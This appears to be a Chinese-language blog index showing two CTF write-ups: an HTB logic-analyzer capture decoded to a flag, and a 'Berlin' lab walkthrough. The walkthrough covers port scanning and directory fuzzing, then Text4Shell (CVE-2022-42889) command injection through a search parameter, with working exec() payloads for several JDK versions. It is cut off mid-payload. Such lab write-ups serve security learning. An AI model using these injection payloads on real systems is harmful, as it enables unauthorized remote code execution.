發表文章

目前顯示的是有「Debug」標籤的文章

Hack The Box(HTB) - CTF Try Out : Debug Walkthrough

圖片
 Debug Walkthrough 又是一台只有靠檔案獲取 flag 的題目 直接下載檔案與解壓縮,有三個檔案 一樣直接問 AI 最快,看來是 Saleae Logic Analyzer Google 發現沒有線上 Viewer 網址 :  https://www.saleae.com/pages/downloads 直接下載工具來看看 直接開啟檔案來看看,看來真的是一個波形檔 AI 有教下一步是用 Async Serial 分析 TX or RX 看看 開始分析,直到使用了 115200 的 Bit Rate 分析 RX (設定如下) 幾乎都是預設值沒有改,僅有異動 Bit Rate (Bits/s) 這個欄位 可以參考這一篇 :  https://support.saleae.com/protocol-analyzers/analyzer-user-guides/using-async-serial 點擊這裡可以看到 Data 再點這裡用終端機的方式顯示,然後就看到 flag 了 原始的內容 https://www====================================== = Galaxy Gateway Network Information = ====================================== WARNING: The deep space observatory is offline HTB{ INFO: Communication systems are offline reference code: 547311173_ WARNING: Unauthorized subroutines detected! reference code: n37w02k_ WARNING: The satellite dish can not sync with the swarm. reference code: c0mp20m153d}aleae.com/pages/downloads 將三段 code 整理後如下,提交後就過了 HTB{547311173_n37w02k_c0mp20m153d}

Challenge 5 - Berlin

圖片
 Challenge 5 -  Berlin └─$ rustscan -a 192.168.193.150 --scripts none --ulimit 5000 | tee rustscan └─$ sudo nmap -sCV -p 22,8080 192.168.193.150 | tee nmap        只有兩個 Port,22 看來是標準 SSH,8080 顯示 http-favicon: Spring Java Framework └─$ sudo nmap -sU -p 161 192.168.193.150 | tee nmap-snmp,snmp 沒開 └─$ whatweb http://192.168.193.150:8080 | tee whatweb └─$ gobuster -w dirfuzzing.txt dir -u http://192.168.193.150:8080 -k -t 150 -x txt,pdf,git,php | tee gobuster-8080 有個 /search 看來比較有用 用瀏覽器打開後網頁顯示 query & result,馬上帶入 query string "query=ooxx" 試試看 http://192.168.193.150:8080/search?query=whoami 發現帶入有顯示但沒顯示輸出 測試了一番後發現這個是透過 Java 的方式執行的命令所以語法前面要使用 ${script:javascript:java.lang.Runtime.getRuntime().exec('要執行的命令')} 可以參考這一篇  https://github.com/cxzero/CVE-2022-42889-text4shell  不同的 JDK 版本使用的標準語法不同,靶機環境是一個 JDK < 15 的環境 JDK < 15 : ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')} JDK 15+ ${script:JEXL:''.getClass().forName('java.la...